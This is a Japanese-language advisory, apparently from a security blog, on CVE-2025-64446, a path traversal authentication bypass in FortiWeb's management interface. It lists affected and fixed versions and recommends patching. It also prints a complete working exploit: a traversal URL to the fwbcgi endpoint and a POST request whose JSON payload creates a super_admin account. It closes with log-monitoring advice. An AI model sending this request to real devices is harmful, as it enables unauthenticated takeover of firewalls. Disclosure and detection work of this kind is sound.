
CVE-2025-64446

認証を必要としない重大な脆弱性により、リモート攻撃者がFortiWebデバイス上に管理者アカウントを作成できるようになります。
CVE-2025-64446 は、FortiWeb Webアプリケーションファイアウォール管理インターフェースにおける深刻な相対パストラバーサル脆弱性です。
認証されていないリモート攻撃者はこの欠陥を悪用して認証をバイパスし、完全な権限を持つ新しい管理者ユーザを作成することで、デバイスを完全に乗っ取ることができます。
| 製品 | 影響を受けるバージョン | 修正バージョン |
|---|---|---|
| FortiWeb 8.0 | 8.0.0 – 8.0.1 | 8.0.2 以降 |
| FortiWeb 7.6 | 7.6.0 – 7.6.4 | 7.6.5 以降 |
| FortiWeb 7.4 | 7.4.0 – 7.4.9 | 7.4.10 以降 |
| FortiWeb 7.2 | 7.2.0 – 7.2.11 | 7.2.12 以降 |
| FortiWeb 7.0 | 7.0.0 – 7.0.11 | 7.0.12 以降 |
推奨: できるだけ早く最新のパッチ適用バージョンにアップデートしてください。
ターゲットの特定
攻撃者は公開されているFortiWeb管理インターフェース(通常はHTTPSポート443または8443)をスキャンします。
悪意のあるリクエストの作成
このエクスプロイトの核心は、相対パストラバーサル(../)と、内部の認証不要のCGIエンドポイントに到達するために特別に細工されたURLの組み合わせです。
脆弱なエンドポイントパターン:
/api/v2.0/cmdb/system/admin?.../../../../../../cgi-bin/fwbcgi
エクスプロイトの送信
攻撃者は、管理者アカウントを作成するためのJSONペイロードを含む単一のPOSTリクエストを送信します。
エクスプロイトリクエストの例:
POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: target-fortiw eb.example.com
Content-Type: application/json
{
"name": "hackedadmin",
"password": "AttackerPass123!",
"access_profile": "super_admin",
"type": "local"
}
悪用の成功
成功すると、FortiWebは事前の認証を必要とせずに新しい管理者アカウントを作成します。攻撃者は新しく作成された認証情報でログインし、WAFの完全な制御を得ることができます。
管理APIがパスを適切にサニタイズできないため、リクエストがレガシーのfwbcgiバイナリに戻ってトラバースでき、特定の操作に対する認証が強制されません。
fwbcgi、../、または異常な管理者作成試行を含むリクエストのログを監視する教育的および防御的なセキュリティ研究目的のみに使用してください。
サイバーセキュリティコミュニティへの ❤️ を込めて
最終更新日: 2026年4月